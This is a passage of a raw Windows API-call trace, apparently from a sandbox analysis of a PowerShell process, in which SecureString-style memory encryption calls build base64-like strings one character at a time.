out: Memory=0x5c640ac) returned 0x0 [0244.337] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxM켠琕戟") returned 0x18 [0244.337] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.337] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇岯䱕\鷝郁䃖ẙﰡ") returned 0x18 [0244.337] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇岯䱕\鷝郁䃖ẙﰡ") returned 0x18 [0244.337] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.337] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMq琕戟") returned 0x18 [0244.337] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.338] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇ࢯ\叚윑앓ퟫ⍐薋统") returned 0x18 [0244.338] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇ࢯ\叚윑앓ퟫ⍐薋统") returned 0x18 [0244.338] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.338] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqm戟") returned 0x18 [0244.338] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.338] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇첯례姺폁돿徖⊐) returned 0x18 [0244.338] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇첯례姺폁돿徖⊐) returned 0x18 [0244.338] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.338] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmb") returned 0x18 [0244.338] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.338] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉∃) returned 0x18 [0244.339] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉∃) returned 0x18 [0244.339] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉∃) returned 0x18 [0244.339] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉∃) returned 0x20 [0244.339] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.339] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbv輻ᘬ엘ἡ᝝謹츘") returned 0x20 [0244.339] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.339] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ਃ䀇ἤ䪜ꪑ૪㧆∡) returned 0x20 [0244.339] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ਃ䀇ἤ䪜ꪑ૪㧆∡) returned 0x20 [0244.339] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.339] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzᘬ엘ἡ᝝謹츘") returned 0x20 [0244.339] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ꈃ侗뒽졳䓜⚥⾻≉) returned 0x20 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ꈃ侗뒽졳䓜⚥⾻≉) returned 0x20 [0244.340] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.340] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC엘ἡ᝝謹츘") returned 0x20 [0244.340] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ꬃ\⻝٥ಓ⪯⑻殍") returned 0x20 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ꬃ\⻝٥ಓ⪯⑻殍") returned 0x20 [0244.340] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.340] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3ἡ᝝謹츘") returned 0x20 [0244.340] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉㴃축ਞේ槐쯵\糂") returned 0x20 [0244.340] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉㴃축ਞේ槐쯵\糂") returned 0x20 [0244.340] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC38᝝謹츘") returned 0x20 [0244.341] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉洃뷶뽡䟇싹罾\旘⠛") returned 0x20 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉洃뷶뽡䟇싹罾\旘⠛") returned 0x20 [0244.341] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC387謹츘") returned 0x20 [0244.341] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉㼃潪ﮞ琩㔅嗞㴛鋀⊹) returned 0x20 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉㼃潪ﮞ琩㔅嗞㴛鋀⊹) returned 0x20 [0244.341] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879츘") returned 0x20 [0244.341] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ⰃⰛႨ鸏훒ƈ잦⊫) returned 0x20 [0244.341] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉ⰃⰛႨ鸏훒ƈ잦⊫) returned 0x20 [0244.341] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.342] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879v") returned 0x20 [0244.342] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.342] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯≮) returned 0x20 [0244.342] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯≮) returned 0x20 [0244.342] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯≮) returned 0x20 [0244.342] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯챮∤) returned 0x28 [0244.342] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.342] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vV頇ࠧꌚ葉ㄆ삊零") returned 0x28 [0244.343] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯ｮ앵㝌眿ⁿ䤏癔폍⋺) returned 0x28 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯ｮ앵㝌眿ⁿ䤏癔폍⋺) returned 0x28 [0244.343] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.343] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUࠧꌚ葉ㄆ삊零") returned 0x28 [0244.343] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯诙᡾疷啁\ᗘ") returned 0x28 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯诙᡾疷啁\ᗘ") returned 0x28 [0244.343] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.343] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsꌚ葉ㄆ삊零") returned 0x28 [0244.343] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯൮\廟꼵㕐┸谜Ⱨ␤") returned 0x28 [0244.343] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯൮\廟꼵㕐┸谜Ⱨ␤") returned 0x28 [0244.344] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.344] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsX葉ㄆ삊零") returned 0x28 [0244.344] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.344] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯杮ꀱ癧췕❞ѽᇈ≼) returned 0x28 [0244.344] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯杮ꀱ癧췕❞ѽᇈ≼) returned 0x28 [0244.344] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.344] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVㄆ삊零") returned 0x28 [0244.344] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.344] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯潮☲婕୲㒛⋕) returned 0x28 [0244.344] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯潮☲婕୲㒛⋕) returned 0x28 [0244.344] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.344] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy삊零") returned 0x28 [0244.344] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.345] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯\緛⥟헒㢄賋碮椇歬") returned 0x28 [0244.345] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯\緛⥟헒㢄賋碮椇歬") returned 0x28 [0244.345] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.345] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3零") returned 0x28 [0244.345] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.345] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯\泜赛⇧ⳡⰊ\\䫙") returned 0x28 [0244.345] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯\泜赛⇧ⳡⰊ\\䫙") returned 0x28 [0244.345] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.345] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3Y") returned 0x28 [0244.345] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.345] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ∭) returned 0x28 [0244.346] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ∭) returned 0x28 [0244.346] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ∭) returned 0x28 [0244.346] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ∭) returned 0x30 [0244.346] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.346] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3Yr佨挢㺤鲕鱖") returned 0x30 [0244.346] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.346] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ촭彬펊䵞䆜뚥\Ꮫ") returned 0x30 [0244.346] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ촭彬펊䵞䆜뚥\Ꮫ") returned 0x30 [0244.346] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.346] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3YrM挢㺤鲕鱖") returned 0x30 [0244.346] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.347] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ\㷛誓\ꯙ껨瓷雲玈≟) returned 0x30 [0244.347] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ\㷛誓\ꯙ껨瓷雲玈≟) returned 0x30 [0244.347] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.347] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3YrMA㺤鲕鱖") returned 0x30 [0244.347] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.347] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ✭\\㣝迳ꛝ뭉ꝃ⋵) returned 0x30 [0244.347] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ✭\\㣝迳ꛝ뭉ꝃ⋵) returned 0x30 [0244.347] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.347] SysStringLen (param_1="wxl3n1bvy6/wjyl2pFhxMqmbvzC3879vVUsXVy3YrMA=鲕鱖") returned 0x30 [0244.347] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0244.347] EtwEventActivityIdControl () returned 0x0 [0244.347] EtwEventActivityIdControl () returned 0x0 [0244.347] EtwEventActivityIdControl () returned 0x0 [0244.349] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.349] EtwEventActivityIdControl () returned 0x0 [0244.349] EtwEventActivityIdControl () returned 0x0 [0244.349] EtwEventActivityIdControl () returned 0x0 [0244.350] SysStringLen (param_1="") returned 0x8 [0244.350] SysStringLen (param_1="N") returned 0x8 [0244.350] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.350] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.350] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.350] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.350] SysStringLen (param_1="ND") returned 0x8 [0244.350] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.350] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.350] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.350] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.350] SysStringLen (param_1="NDZ") returned 0x8 [0244.350] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.351] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.351] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.351] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.351] SysStringLen (param_1="NDZl") returned 0x8 [0244.351] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.351] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.351] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.351] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.351] SysStringLen (param_1="NDZlO") returned 0x8 [0244.351] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.351] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.351] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.351] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="NDZlOD") returned 0x8 [0244.352] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.352] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.352] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="NDZlODR") returned 0x8 [0244.352] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.352] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.352] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="NDZlODRm") returned 0x8 [0244.352] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0244.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.353] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.353] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.353] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.354] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.354] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.354] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.354] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0244.354] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.354] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.354] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0244.354] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.355] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0244.355] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 